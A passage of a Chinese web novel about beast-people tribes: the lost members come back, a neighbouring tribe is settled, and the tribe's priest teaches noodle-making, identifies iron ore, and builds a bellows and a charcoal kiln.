第三批陶器开窑,埋在泥土里的红薯冒出嫩芽,田里绿油油的水稻进入生长期,蹿到与膝盖齐平,部落里的一切都随着时间流逝变好,唯有外出的族人——至今未归。 有食物、有武器, 三个兽人带一个亚兽人,头几天木族长并不担心,但十天一过,木族长的心立马悬了起来,吃不好睡不好,每天提心吊胆,忧心忡忡。 他们带的食物不算多, 只有两背篓, 二十天啊,估计早就吃完了, 万一路上找不到水和食物怎么办?万一遇到猛兽怎么办? 三个丛林经验丰富的兽人, 一个认识所有植物的亚兽人,不至于被野兽咬死,也不至于饿死,但四个人都是倔脾气, 木族长最担心的是,标记消失,他们不甘心回头,固执地往前走,最后迷失在丛林中。 担心也是徒劳,一点忙都帮不上,每天只能像个鳏夫一样守着部落门口张望。木族长背着手独自草地,望着融入夜色的森林,唇缝中溢出一声长长的叹息。 时间不早了,该回去睡觉了,木族长恋恋不舍地收回视线,正准备转身往回走,忽然,前方田地尽头闪过一道模糊的黑影。 细长的黑影在夜色中快速移动,乍一看像人影,但比起人影又多了点什么,木族长不可置信地揉了揉眼睛,仔细一瞧,确是人影无疑,拿着长矛、背着背篓的人影。 距离太远,天色太暗,刚开始只是一道模糊的影子,而随着距离缩短,一道、两道、三道……近二十道影子相继出现在远处田边。 木族长惊呆了,原地愣了几秒才意识到自己所看到的。 四个人出去,一群人回来,本来还有点担心不是自己人,可距离再次缩短,适应黑暗的眼睛看清领头那个高大健硕的兽人,木族长双腿不受控制地迈了出去,一阵风似的狂奔。 “大族长,大族长!” 虽然平时有点不着调,但正事从不掉链子,木族长留给族人的更多是稳重的形象。而此时此刻,这位稳重的族长毫无形象可言,像个讨要食物的小孩,一边跑一边迫切地呼喊。 响亮的吆喝声划破寂静,正听红勇介绍田间作物的大族长一愣,倏地转头看向前方。透过夜色看见迎面跑来的木族长,大族长反手将石矛塞给红勇,提着背绳冲了出去。 原以为是生离死别,没想到还有再见面的一天,两位族长都激动得不行,踩着夜色奔向对方,最终在狭窄的田坎相遇,旁若无人地抱在一起。 千言万语抵不过一个拥抱,大族长勾着木族长的肩膀,粗粝的手掌在他背上重重拍了两下,什么话都没说,又什么都说了,一切尽在不言中。 短暂的拥抱后,大族长松开手,看着木族长花白的头发,浓浓的愧意自眼底流露出,“半年不见,头发都快白完了,木哥,是我判断失误,和你们分散了,这段时间你辛苦了。” 久别重逢,难免有些动容,木族长揉了揉发热的眼睛,摆摆手,“不辛苦,有祭司大人在,我们过得很好,什么事都不用我操心。倒是你啊威,才半年时间,怎么瘦了这么多?” 背着背篓的兽人陆陆续续走了过来,木族长一边说话,一边朝人群中张望,大族长隐约猜到了,喉咙莫名发紧,垂眸避开视线。 该面对的还是要面对,大族长轻叹一口气,伸手在木族长肩膀上拍了拍,“木哥,你的伴侣和儿子,没有跟我们在一块。” 眼泪最终还是落了下来,木族肩膀微颤,胡乱在脸上抹了一把,强装镇静道:“没事,没事,我早就猜到了,林腿上有疾不能走路,他阿母、他阿母带着他跑不掉的……” 半年时间足以冲淡亲人离世的悲伤,但看到大族长带着族人归来,木族长又燃起了一丝希望。希望再次幻灭的感觉不好受,木族长呆呆站着,眼神空洞,像是被掏空了灵魂。 大族长心里也很不是滋味,掌心轻拍木族长的肩膀,低声安慰:“过去了木哥,别太难过,我们是一个集体,我们所有人都是你的亲人。” 这话一出,杵在一旁的兽人们接收到信号,一个接一个地走上前,七嘴八舌道: “木族长,我阿父阿母也不在了,我给你当儿子!” “还记得我吗木族长?我是豆,小时候你还抱过我。” “还有我还有我,我们都是亲人,别难过了木族长。” “木族长,我就知道,你还活着真的是太好了。” …… 夜已深,营地却是人满为患,前所未有的热闹。 背篓放倒,清醒过来的松鼠陆续钻出背篓,接连变回人形,而部落里早早睡下的族人钻出树洞,如同汹涌澎湃的潮水,一股脑涌了过来。 急切地张望,迫切地搜寻,在人群中找到失散的亲人与同伴,霎时间,兴奋的欢呼声、诧异的惊呼声、喜悦的抽泣声响彻营地。 久别重逢的喜悦笼罩着这片土地,有幸寻到亲人、同伴的抱作一团,互诉经历,没有找到亲人同伴的族人难掩悲伤,却也被这气氛感染,互相鼓励,互相打气。 真好啊,花时安背靠大树看着营地方向,趁乱握住莫淮山宽厚的大手,眸中盛满愉悦。 “咳!” 两只手刚刚握在一起,一声怪异的干咳从身旁响起,花时安扭头一看,木族长与大族长并肩朝他们走来。 前者眉头紧皱,眼睛死死盯着他们握在一起的手,似有不满地嘟囔:“干什么干什么,这还这么多人呢,拉拉扯扯像什么样子。” 后者面露诧异,一脸不可置信地看着莫淮山,又将目光转移到花时安身上,“你们、你们这是——” “我的天,时安,你胳膊怎么回事?” 一声惊呼打断了大族长的话,瞅见花时安胳膊上的伤口,木族长急得好似热锅上的蚂蚁,搓手跺脚,原地直打转。 十多天过去了,伤口基本长好了,不过昨天晚上休息的时候拆了行军蚁的颚,伤口略有些红肿,边缘还有一排不大不小的洞,看着有点狰狞。 已经不怎么疼了,不想让木族长担心,花时安活动左手给他看,笑吟吟道:“不小心受了点伤,已经好得差不多了,看我手指多灵活,一点事儿都没有。” “说什么废话,你伤的是胳膊,又不是手指头,当然灵活了。”木族长瞪了花时安一眼,气不打一处来,吹了吹胡子又看向莫淮山,板着脸斥责:“你们到底在干什么,出门前我说没说过,保护好祭司大人,居然让他受这么严重的伤,会留疤的!” 莫淮山低眉敛目,乖乖认错:“是我的错。” “哎呀,好了好了。”花时安嬉皮笑脸地打哈哈,“这么多天不见,好想你啊族长,你难道不想我们吗?先别怪我们了,坐下聊会儿嘛。” 木族长哼了声,“我不想你们?我吃不好睡不好,白头发都长了好几根,都是因为谁啊!?” 花时安嘿嘿一笑,“因为我们。” “族长坐下说,大族长你也坐。” 站着说话也挺费劲,木族长与大族长挨着大树落座。 显然从大族长口中了解了经过,木族长没有问他们怎么回来的,一坐下就开始追问花时安是如何受伤的,去的路上到底发生了什么。 遭遇黑熊森蚺这事儿肯定瞒不过,花时安省去一些细节,尽可能平淡地讲述经过,把惊险说成一点点惊吓。 在一起相处了半年,木族长早知道他报喜不报忧的性格。虽然说得云淡风轻,但木族长听出了蹊跷,盯着花时安负伤的胳膊,心里毛毛的,一阵后怕。 兽神庇佑,他们安全回来了,还带回了失散的族人。 两位族长亲自过来,不仅仅是为了闲聊。 巨杉树正对草地,木族长眼眸微抬,透过夜色望着草地上的陌生人,神情颇为严肃道:“树鼩部落的事大族长和我说过了,他们对族人有庇护之恩,既然遇到难处,能帮一把是一把。” “不过时安,部落就这些树洞,咱们自己人挤一挤还住得下,他们这、这一百多号人,不说以后,今晚怎么住在哪?” 早有主意的花时安笑了笑,“族长你忘了,我们刚到巨树森林不是住过吗?住了好几天那个大树洞。他们一部分人变回兽形,一部分维持人形,先将就在大树洞里住,回头教他们凿树洞。” “对哦,”木族长一巴掌拍在大腿上,“我怎么就给忘了。那个树洞离得也不远,我一会儿让兽人带他们过去。” “那之后呢?之后怎么安排他们?” 短短十几天,大族长都养成了习惯,遇事不决问花时安。 花时安抬手指向夜色笼罩的河对岸,“晚上看不见,河对面和我们这边是一样的,也有一片草地,让他们住在那边怎么样?” 木族长面露迟疑,“会不会太近了?平时采集狩猎什么的方便吗?松树林也在那边,到时候采松果……” 话没有说完,但大家都听懂了。 农作物成熟之前,食物还是要靠采集狩猎获取,两个部落同住一片土地,资源如何分配是个问题。 来都来了,也不能让人家饿肚子,花时安捏着下巴琢磨片刻,不紧不慢道:“分,像松树、板栗树这种成片成片生长的,分给他们一部分树,让他们做好标记,成熟后自行采摘。” “葛根、红薯、野菜这些需要到处找的,先到先得,我们熟悉地形,占一些优势,但人家先找到也不要去跟人家抢。” 木族长:“这能行吗?虽说森林里植物多,暂时够我们吃,但这一下子多了一百多号人,要是他们没日没夜地采集,把森林薅秃,久而久之怕是我们都没东西吃。” “不用担心的族长,这一趟不光找到了失散的族人,还找到了不少好东西。”花时安掰着手指头给木族长数:“小麦、糯稻、大豆、花生……这些都是好吃又顶饱的食物,只要再撑一段时间,我们再也不用起早贪黑地往森林里跑,再也不用为食物发愁。” “之所以大大方方跟他们分享领地,因为那些种子全都来自树鼩部落。拿人家的手软,该分享的时候要分享,我们是邻居,也是合作伙伴,以后遇到点什么事还要一起应对,搞好关系指定没错。” “而且他们人生地不熟,想在这里长久地生活下去,必须倚仗我们。他们不会做得太过分,不会没日没夜地采集,更不会和我们争抢食物。” 木族长被说服了,点点头又问:“那狩猎呢?这片森林猎物本来就不多,我们看他们也有不少兽人。” 没等花时安开口,大族长抢先道:“我觉得可以像我们以前一样,两个部落联合狩猎,最终收获按照贡献和参与人数进行分配,避免冲突。” 花时安“嗯”了一声,“我觉得行。” 木族长拍拍屁股站起身,“行吧,那就这么办法!你们赶路辛苦了,时间也不早了,走走走,回树洞休息睡觉去。哦对,族人回来没地方睡,凿好树洞之前先挤一挤。” 听到这话,花时安心念一动,转头对木族长说道:“族长,淮山的树洞可以住几个人,一会儿他把东西收拾出来就可以让人住进去。” “收拾东西?”木族长嗅到了不妙的气息,忙地追问:“东西搬哪去?他把树洞让出来,他住哪?” 花时安挑了下眉,勾唇一笑,“当然是和我住。” “不行!” 木族长还没说话,大族长先开口了,铿锵有力的两个字把木族长都整懵了,惊讶转为茫然,满眼疑惑地看向他。 花时安和莫淮山也很诧异,不明白这位并不熟悉的族长为何掺和他们的私事。 三双眼睛直直盯着看,大族长眼底闪过一丝不自然,握拳抵唇轻咳一声,“你们应该还没结成伴侣吧?现在住一起不合适。” 不解释还好,这一解释,花时安更懵了。 部落里的兽人亚兽结成伴侣有什么特别的仪式吗?并没有,你情我愿搬到一块住,简单粗暴,睡一夜就是伴侣。 生怕他俩偷摸住一块似的,花时安还没想明白,大族长摆摆手,赶忙又对莫淮山说道:“走吧山,今晚我跟你住,你带路。” 花时安:………… 第93章 第 93 章 粉条 一张狭窄的竹床睡三个人, 翻个身都费劲,主要和两个不熟悉的亚兽睡在一起,花时安非常不适应,一晚上几乎没怎么睡着, 第二天起了个大早。 刷完牙洗完脸, 天还没开始亮。 原以为自己起的够早, 是部落第一个起床的,谁承想摸黑朝营地溜达,老远就看到了火光,以及火塘边上忙碌的亚兽。 “看那,那有个人,是不是祭司大人?” “不可能, 祭司大人不会起这么早。” 暗处看亮处容易,亮处看暗处可费劲,红映兰和岩知乐眯着眼睛瞅了半天,直到黑暗中的人又靠近了一些,这才得以看清。 二十天没见,昨晚也只是远远瞅了一眼,透过微光看见日思夜想的好友, 两个亚兽再也忍不住了, 手中厨具随意往旁边一放,三步并作两步, 踉踉跄跄奔向花时安。 “祭司大人!” “祭司大人, 祭司大人!” 距离不算远,两个亚兽转眼便跑到身前,花时安嘴唇翕动,还没来得及开口, 两人几乎同时扑进怀里,一左一右将他抱住。 花时安个子比他们高上一点,从他的角度看,两颗毛茸茸的脑袋在怀里拱。让人无法拒绝的热情,花时安愣了一瞬,唇缝中溢出一声轻笑,抬手回抱住两个亚兽人。 “好想你啊祭司大人。”岩知乐激动坏了,像是久旱逢甘霖,可劲儿往花时安怀里钻。不单单是思念,还有感激,他紧紧抓着花时安胳膊,声音逐渐哽咽: “谢谢你祭司大人,谢谢你们不顾危险,跑到森林里找人。我都以为、我都以为我阿母死了,没想到还能再见到她,我真的好高兴啊……” 情绪好似会传染,把脑袋埋在花时安右手边的红映兰肩膀轻颤,忍不住抽泣起来,“祭司大人……部落有你真好,谢谢你带着我们活下去,谢谢你帮我们找回了亲人。” “哎呀哎呀。” 一人一句,整得花时安都不好意思了。他抬手在两个亚兽头上揉了一把,又拍了拍他们的后背,“和亲人团聚是好事儿,要高兴,要开心,怎么还哭上鼻子了?” “好了好了,不哭了,最近怎么样,部落里没发生什么事儿吧?走之前让你们种的红薯种上了吗?还有出发之前做的葛根粉,吃过了没,好吃吗?” 一连好几个问题,两个亚兽都没空哭了。 岩知乐松开花时安,用手背蹭了蹭眼泪,认真回答道:“部落没什么事,红薯早就种了,都发芽了,你们这一走走了好多天。” 红映兰擦了擦眼泪,接着岩知乐的话补充:“葛根粉吃过了祭司大人,特别好吃。我们最近一有空就在森林里找葛根,做了好多葛根粉,晒干了装在陶缸里面。” “说到陶缸,祭司大人,我们最近又烧了两次窑,烧得非常完美,部落能用的陶器越来越多了!” “还有哞哞,每天牵出去吃草,哞哞现在不怕人了。” “哦对,兔子,兔子下崽子了!我们按你说的给它们分了窝,这些天幼崽都长大了好多。” “地里好多作物都开花了,感觉再过不久就有果子了。” 你一言我一语,两个亚兽补全了花时安缺席的二十天。 一切都在往好的方向发展,日子越过越好,花时安欣慰极了,扬起嘴角愉悦一笑,“不错不错,我——” “祭司大人,你、你胳膊怎么回事?” 光顾着说话没往身上看,往侧边挪了两步,红映兰立马瞅见花时安胳膊上触目惊心的伤口,捂着嘴巴惊呼出声。 岩知乐闻言伸长脑袋往花时安胳膊上瞅,瞅见那两寸长的伤口,他瞳孔猛地一缩,刚刚才擦干的泪水又在眼眶中打转,“这是怎么回事,这么大的伤口得多疼啊……” 眼看两个亚兽又要开掉金豆子了,花时安忽地吸了吸鼻子,似不经意道:“我好像闻到一股焦味,你们是在煮什么东西吗?” 这下真没空哭了,两个亚兽对视一眼,拔腿就跑。 实际上并没有东西煮焦,陶锅里煮着清水,四周还有其他族人在,根本不会煮焦,两个亚兽聊天聊忘了,一不留神就被花时安忽悠瘸了。 不过时间确实也不早了,再过一会天就要亮了,就花时安伤口简单聊了几句,红映兰和岩知乐洗干净手,围着火塘忙碌起来。 营地里堆着不少东西,两大缸葛根粉,五背篓新鲜野菜,柴堆边上放着两盆新鲜肉,看样子像是火鸡肉,空地上还有几盆干菜、干蘑菇浸泡在水里。 虽说多了三十六个人,多了三十六张嘴,但这食材……会不会太多了点? 花时安想着便直接问离他最近的红映兰:“映兰,放在营地里这些食材都是今天早上要吃的?会不会太多了?” “不多。”红映兰回头扫了眼,轻言细语地解释:“木族长昨晚特意交代我,说树鼩部落初来乍到,又没剩多少食物,我们先帮他们填饱肚子,吃饱了才有力气去找食物。” “我算了下,我们的人加上树鼩部落的人,两百多人,就这些食物,估计得多喝点汤才能勉强吃饱。” 回来的路上全靠树鼩部落的食物,一顿饭而已,花时安当然也不会吝啬,只是他自己都差点忘了这回事,没想到木族长还记得。 花时安点点头表示知道了,无所事事地蹲在红映兰身旁。余光扫过盆里骨肉分离的火鸡肉,他闲不住又问:“火鸡什么时候抓到的?你们自己没吃吗?” 说起这个,红映兰小脸一垮,“狩猎队昨天中午带回来的,本来想着你们应该要回来了,省着点吃,晚上我们就煮了一小半,结果你们回来倒是回来了,还带回一群外人。” 肉本就是稀缺物资,自己都舍不得多吃,从牙缝里抠出来留给族人吃,结果还要分给外人,小亚兽心里有怨也很正常。 花时安笑了笑,打趣道:“那怎么不藏起来?咱们晚上偷偷吃。” “我、我本来就是这么想的,”红映气鼓鼓地瘪着嘴,“但族长说不好,就半块火鸡肉还要偷偷吃,万一让人家看见,让人家闻到味,回头还要说我们小气。” “就是!” 岩知乐在旁边附和:“狩猎队辛辛苦苦抓到的火鸡,凭什么要分给他们吃!看见就看见呗,我们自己吃自己的,难不成以后吃肉都要分给他们?” 岩知乐这大嗓门,喊一嗓子营地都要抖三抖,花时安生怕人家过来听到了,忙地摆摆手,“好了好了,别激动,只此一次,以后不会再把我们的肉分出去了。” “肚子饿了,先做饭先做饭。” 饭自然要做,不过大厨回来了,二厨岩知乐心里忽然又冒出一点别的想法,追着花时安问:“祭司大人,除了用开水冲泡之外,葛根粉还有别的吃法吗?” 花时安:“吃法很多,可以炒,可以做粉条,但我胳膊还没好利索,手暂时不能——” “不用你动手,你动嘴教我们,我们来做。” “那也行,来吧。” 刚好水开了,花时安决定教他们煮酸辣粉。 适量葛根粉加凉水稀释,调成粉浆再加入适量开水,烫熟,勾成黏糊糊、略微有些透明的熟芡。 熟芡倒入粉盆中,加少许凉水,与剩余干粉搅拌均匀,届时葛根粉就变成一团白灰色,比面粉团稍润一些的粉团,筷子能夹起来,但葛根粉会往下滑。 到这一步,粉条就成功了大半,接下来只需找出前阵子编织的竹筛,洗干净后将粉团放进去,铺平,然后悬于陶锅上方。 竹筛稍微有点大,岩知乐双手端着,红映兰用力拍打粉团,细长的粉条如同流水一般,透过竹篾缝隙滑入沸水锅中。 粉条下锅,花时安让他们把野菜也煮上,这两样都容易熟,煮上一小会儿便可出锅,分别捞进陶碗和竹筒中。 光吃粉条没滋没味的,肯定不够,于是花时安让他们把去骨鸡肉切成丁,搭配泡发的蘑菇、野菜,炒了个香喷喷的臊子。 天蒙蒙亮,族人闻着味儿就来了,树鼩部落的人也陆续抵达营地。 终于可以开饭了。一人一碗/竹筒粉条野菜,两勺臊子,两瓢开水,放凉的食物又重新热乎起来。 粉条这种稀奇玩意儿,别说树鼩部落的人没见过,就连自家部落的人也没见过。对新鲜食物好奇,人们本来还想追着花时安问几句,但飘着油花的粉条着实诱人,一个个果断将问题抛之脑后,端着碗大快朵颐。 肚子早就饿了,许久没吃过热食的飞端起竹筒,学着花时安的方式将臊子搅拌均匀。滑溜溜的粉条筷子都夹不住,飞尝试了好几次才捞起粉条,极力克制自己,不紧不慢地送进嘴里。 粉条一入口,飞呆住了。 有盐有味有油水,粉条Q弹爽滑有嚼劲,肉的醇香与香辣味交织,不断刺激着味蕾,每一口都是极致的享受。 这也太好吃了,毫不夸张地说,她从未吃过这么好吃,这么合胃口的食物。 飞还忍得住,一口粉条下肚,她的族人再也忍不住了,诧异的惊呼、不遗余力的赞叹如雷鸣般炸响: “哇,这是什么呀,好好吃!” “里面还有肉粒,好香好香,香迷糊了。” “族长,你认识吗?这个滑滑的透明长条到底是什么?” “好吃好吃,我好喜欢这个味道,汤也好好喝。” “族长你去问问吧,他们用什么东西煮的?吸饱汤汁的野菜都特别美味!我们今天也去采。” “他们松鼠部落过得什么好日子啊,天天吃这些好吃的?” 兽人们狼吞虎咽,嗓门一个比一个大,飞端着竹筒嗦粉,恨不得装作不认识他们,恨不得找个地缝钻进去。 不是不让夸,食物好吃夸几句很正常,但这也太夸张了,饿死鬼投胎没吃过东西似的,显得……显得他们没见过世面。 营地里只有树鼩兽人的声音,松鼠兽人端着碗一声不吭。 倒不是粉条不好吃,不值得夸赞,恰恰相反,正是因为粉条太好吃了,所以不能夸,要装作他们经常吃,天天吃,一点都不稀奇的样子。 嗯,穰穰部落一直过着这种好日子。 暗中和树鼩部落较劲,兽人们憋得很辛苦,花时安在旁边乐得不行,边嗦粉边笑,愣是笑着吃完一顿早饭。 部落人多了起来,今早再加上树鼩部落的人,以前看着还算宽敞的营地一下子变得拥挤起来。树脚下、火塘边密密麻麻全是人,有的人来晚了连座位都没找到,端着碗站着吃。 干柴、器皿、厨具……营地里堆的东西也很多,乱糟糟的,花时安怎么看怎么不顺眼。 得想个办法收拾一下,灶台至今没搭建,现在还用着简陋的火塘煮饭;桌椅板凳也该提上日程了,人多坐着吃饭才没那么乱;再过不久又要到雨季了,这露天营地也该改造一下。 想法不是一般的多,花时安还想给自己盖个房子,但是想一步到位、一劳永逸,盖房子或者改造营地的材料都应该选择比竹子更结实的木头。 如今只有石器、骨刀的部落,该如何伐木呢? “祭司大人!” 一声高呼打断了思绪,花时安抬头一看,平日里交集不是很多的红云朗拎着一包东西正匆匆朝他跑来。 兽人步子大,转眼便跑到眼前,他二话不说往花时安手里塞了个沉甸甸的包裹,这才平复呼吸,语速很快地解释:“上次、上次秋雨说你在找奇奇怪怪的石头,我们就特意留意了一下,这都是我们外出狩猎捡的,你看看有没有用得上的。” “这么多啊?你们辛苦了。”花时安朝红云朗笑了笑。 包裹很沉,估计得有十几斤,花时安满怀期待地解开棕绳,拆开棕片,一堆奇形怪状的石头映入眼帘。 字面意义上的奇形怪状,三角形、心形、中间凹陷、形似动物牙齿的长条状……看着这一堆五花八门的石头,花时安嘴角抽了一下,扯出一个比哭还难看的笑。 他是说过要找石头,但他要找的是石灰石、铁矿石、铜矿石……而不是这一堆“大自然的艺术品”。 大老远带回来的,至少得挨个儿看一遍,花时安耐着性子筛选,一边看一边往地上丢。 脚边石子越堆越高,包裹明显变轻。只剩下最后几颗了,花时安不抱任何希望,可就在这时,一颗表面光滑的石块闯入视线。 灰扑扑的石块乍一看平平无奇,与路边随处可见的碎石别无二致,非常的不起眼,可指尖拂过石面的刹那,意外的手感让花时安微微一怔。 丝滑细腻,好似在抚摸一匹丝绸,花时安将它拿起来,比想象中更沉,分量远超外表。谜底随着翻面而揭晓,暗褐色锈斑星星点点,不经意便泄露它作为金属矿石的秘密。 铁,这是一块正儿八经的铁矿石! 第94章 第 94 章 风箱 “族长, 大族长!” 沉甸甸的铁矿石握在掌心,花时安如获至宝,白皙的脸颊因激动而涨得通红。他双腿甩出残影,边跑边喊, 赶在采集队和狩猎队走远之前, 气喘吁吁地跑到两位族长身前。 跑得太急了, 气息有点喘,花时安话不多说,直接将铁矿石塞到木族长手里,从呼吸的间隙中挤出几个字,“看……看。” 还以为是什么好东西,结果低头一看, 一块石头。 木族长眉头一皱,不解地看向花时安,“有啥好看的?不就一石头。” “我看看。” 大族长接过石头,用指腹摩挲石面,又握在手里上下颠了颠,给出评价:“石头看着不大,握着还挺沉, 表面比其他石头要光滑细腻一些。” 花时安缓过来了, 给大族长竖了个大拇指,“大族长识货。石头确实石头, 但这不是一般的石头, 它含有大量金属,又被叫作金属矿石。” 只夸了大族长,木族长心里很不得劲,伸手把铁矿石重新拿了回来, 装模作样地鉴别,“嗯,摸着确实很丝滑,和普通石头不太一样。你说叫什么金属矿石?那它有什么用呢?” “提炼金属。” 四个字就能作为回答,但想让从未接触过金属的木族长和大族长听懂,颇要费一番口舌,花时安组织了下语言,简明骇要: “金属矿石也分很多种,这一块是个铁矿石。放进窑炉中高温煅烧,矿石中的铁可以被提炼出来,从而锻造成各种工具,比如我们平时用的刀、斧、武器、锅碗瓢盆……” 木族长嘴唇微动,刚要开口,花时安预判了他的疑惑,笑吟吟地解释道:“族长你是不是想说,这些工具我们已经有了,为什么还要用铁来锻造?因为强度和硬度不够。” “我们现在用的工具基本是石器,容易坏,还不够锋利,切肉切菜没什么大问题,但要是砍树伐木,制作更精妙的器具呢?很费劲。” “铁就不一样了,它韧性强,可塑性强,可根据需求锻造出各种形状复杂的器具;它的硬度也比石头更大,不易损坏,可长时间使用,砍树伐木、开垦荒地什么的,非常高效。” 木族长听得一愣一愣的,虽然想象不出铁到底是什么样,但比石头还硬,可制作形状复杂的器具,一听就是个好东西。 不起眼的小石头顿时变成了宝贝,木族长爱不释手,翻来覆去地看,满眼不可置信,“真有这么神奇?就这一块小石头居然能做出你说那种好东西?” 生怕掉地上摔碎似的,木族长抓着花时安的手,小心翼翼地将铁矿石还给他,又急急忙忙地催促:“还等什么呢时安,你、你赶紧做去!” “从石头里弄东西,应该没那么容易吧?”听不太懂,大族长却隐约猜到这事儿不简单,甚至相当麻烦。 花时安老实巴交地点点头,“大族长说得对,炼铁不是个容易事。首先是铁矿石,一块矿石提炼出来的生铁非常有限,我们需要大量这种矿石,红云朗刚才说,他们是在岩山附近找到的铁矿石,所以我想和两位族长商量一下,今天就带人过去找怎么样?” 部落的日子能越过越好,离不开花时安时不时冒出来的新奇想法,他又有新想法,木族长举双手双脚赞成,二话不说点头应下,“没问题,叫兽人过去吧,要多少——” “等等。” 大族长一抬手,打断了木族长的话。 无意和这位祭司唱反调,但部落一大堆事。 大族长面露难色,和和气气地与花时安商量道:“我们刚从外面回来,树洞还没凿,树鼩部落分给我们的种子还没种,树鼩部落也还没安置,铁矿石这事要不往后稍一稍?” 花时安:“事情是多,但我们现在人也多。刚回来不急着狩猎,让采集队出去干活,饿不着肚子就行。至于兽人,我们现在有三十多个兽人,一部分去凿树洞,一部分去开荒,一部分去找铁矿石,再留几个人给我帮忙。” “这……”大族长眼底闪过一丝迟疑。 兽人的职责是狩猎,从森林里带回猎物供族人食用,让兽人留在部落,让亚兽出去采集养活兽人,这……像什么样子! 好似猜到他心中所想,木族长抬起胳膊肘了大族长一下,搁旁边可劲儿怂恿:“听时安的,部落还有些余粮,不去狩猎也饿不着肚子,不差那一口肉吃。你们在部落也是干活,又不是甩着手玩,别想那么多,忙完这阵你们再去表现。” 大族长轻叹一口气,无奈妥协,“成,听祭司大人的。” 铁矿石兜兜转转又回到了花时安手上,花时安再次将它递给大族长,勾唇笑笑道:“那就麻烦大族长来安排,这矿石交给去岩山的兽人,让他们认一认,以免大老远背一堆没用的石头回来。” “你不是还要几个人帮忙吗?” 木族长不着痕迹地给花时安递了个眼神。 花时安:“哦对,大族长,我这边要六个人,让岩秋雨、巨明、莫淮山——” “哎哎哎,不能这么分。” 大族长挑了下眉,扬起嘴角,眼底闪过一丝耐人寻味的笑,“我们刚从外面回来,有些族人和你们还不太熟悉。咱们不能只和熟人干活,也得和他们相处相处,才能带着他们更好融入集体。再说了,你说的岩山,在哪个方向我们都不知道,这也得熟悉地形的兽人带队去。” 开口的时间很巧妙,不早不晚,偏偏是说到莫淮山的时候。花时安怀疑大族长有意分开他和莫淮山,可人家这番话非常有道理,挑不出一点错。 罢了,炼铁要紧,其他事回头再说。 又找木族长要了个岩知乐,花时安带着人干活去了。 欲炼铁,先烧炭,六个兽人领到的是辛苦活——砍树。 烧炭需要硬质阔叶材,花时安领着他们在部落附近转了一圈,最终选择了青冈树、麻栎树、桦木,三种硬度高、密度大的树木。 一把石斧,一棵硬邦邦的大树,其中艰辛花时安一点没品尝到,只有兽人自个儿清楚。 教他们认完树花时安就溜了,从仓库里拿出鞣制好的水牛皮,回到营地挑了几根晒干的老竹子,指挥苦力岩知乐劈竹片、削竹钉…… 冶炼铁矿所需要的温度很高,不论哪一种土窑都达不到,想要提高温度,顺利炼出铁,他们需要一个强制送风助燃,提升冶炼效率的——鼓风机。 鼓风机花时安当然做不出来,但用兽皮做一个老式风箱还是没问题的,就是制作和使用的时候有点费人。 烈日高悬苍穹,竹屑如雪花般簌簌飘落,拇指厚的竹片在岩知乐中逐渐平整,变成了一张张巴掌宽,平整光滑的竹板。 为了增加竹子的韧性和强度,花时安特意把竹板拿到火塘边,挨个烤了一下。 箱体所需要的材料备好,开始制作内腔,选一片最为厚实的竹板,量好长度打磨光滑,用木钉将其与两根金竹钉在一起,制作成一个类似行李箱拉杆的活塞。 至此,风箱已成功小半。 花时安动嘴,岩知乐动手,叮叮哐哐地开始组装,把大小一致的竹板用竹钉钉在一起,一片接一片,最终拼接成一个长方体箱体。 别说,活塞放入箱体中,乍一看还真像一个大号行李箱。 风箱主要靠推拉活塞来鼓风,活塞与内腔的尺寸一定要匹配,为确保活塞能够在箱体中自由滑动,顺畅无阻,花时安又捡了好些族人丢掉的火鸡毛回来,用树脂固定在活塞四周。 风箱与活塞的接触面难免有缝隙,柔软有弹性的鸡毛正好能起到一个密封作用。而活塞拉动时,鸡毛会随着气压变化自然张合,还能起到一个辅助导流的作用。 古人的智慧真是博大精深啊!花时安由衷感叹。 箱体和活塞陆续搞定,接下来便是最重要,也是最麻烦的步骤。箱体一端开一个进风口,另一端开一个出风口,用薄竹片制作两个简易阀门,箱体侧边安装一个挡板,同时开一个输风口。 其实开口在打磨竹片时开好会轻松许多,但没有图纸,全凭记忆制作,花时安也摸不准到底开在哪个位置,只能拼接好再来开。 这就导致——岩知乐一把汗一把泪,边凿口边哭哭啼啼地闹着要走,还说再也不跟祭司大人干活了。 费了九牛二虎之力,从清晨折腾到太阳落山,一个约24寸的大号“行李箱”彻底完工。 拉杆也装上了把手,花时安抓了一把枯叶放在输风口,拉动风箱试了一下,非常的丝滑,风的劲儿也很大。 一个正儿八经的老式风箱,到这一步就结束了,但他们工具太少,图方便用竹子制作的箱体。担心漏风,花时安又带着岩知乐把水牛皮裁成合适大小,严丝合缝地钉在箱体表面。 忙活完天都黑了,花时安忙地又跑到窑炉旁验收成果。 很不错,六个兽人一天砍了近二十根树,每根都是适合烧炭的硬质阔叶材。不光砍树,他们还按照花时安的要求将树木劈成了大小长短适中的柴块,整齐码放在窑炉中。 干木湿木都能烧炭,只不过湿木烧制的时间长一些而已。没耐心等木头晒干了,花时安让刚刚回来的采集队帮忙搬黄泥、干柴,然后——封窑,点火! 干柴噼里啪啦地燃烧,丝丝缕缕的烟雾随风飘散在夜色中,花时安望着完全密封的窑口,高强度运转的大脑得以放空。 “祭司大人。” 岩知乐不知何时凑到身旁,盯着与之前完全不同的窑口,捏着下巴问道:“为什么和之前不一样了呢?为什么要换一种方式?那些木头烧出来到底会变成什么样?” 一开口就是三连问,念在他今天制作风箱辛苦,花时安耐着性子解释:“烧炭和烧陶不一样,陶器对温度要求更高,可适当通风;木炭对温度要求没那么高,但必须在一个缺氧,也就是隔绝空气的环境中才能完成炭化,不然就烧成灰了。” “至于烧出来是什么样,很难形容,到时候就知道了。” “好吧。”岩知乐并不满意这个答案,瘪了瘪嘴又问:“那要烧多久呢?感觉干柴准备的比之前都多,明天能开窑吗?” 花时安笑了声,“明天?想多了,最快也要——” “十天。” 第95章 第 95 章 木炭 “砰, 砰,砰砰砰……” 阳光明媚的早晨,河岸边绿茵茵的草地坐着一群年轻人。人们手持石块、石锤奋力打砸矿石,石头与石头摩擦, 急促的敲打声如锣鼓般激昂。 十天一晃眼就过去了, 人没有任何变化, 窑炉四周这片开阔的草地却是大变样。颜色形态各异的铁矿石堆成四座高大的矿山,好似路边随处可见的碎石,要多少有多少,一副不值钱的样子。 除矿石以外,草地上还多了好些大石头,远远看着像一块块光滑平整的搓衣板, 走近一看实则不然,奇形怪状的石头埋在泥土里,埋得很深,只有光滑的平面露在外面,变成一个个固定的操作台。 十天时间的野外搜寻,花时安心心念念的石灰石也找到了,虽然不多, 加起来只有两背篓, 但作为溶剂使用,完全足够。 铲矿石的木铲、夹铁块的竹夹、掏矿渣的木棍、打铁的石锤……在一群人的共同努力下, 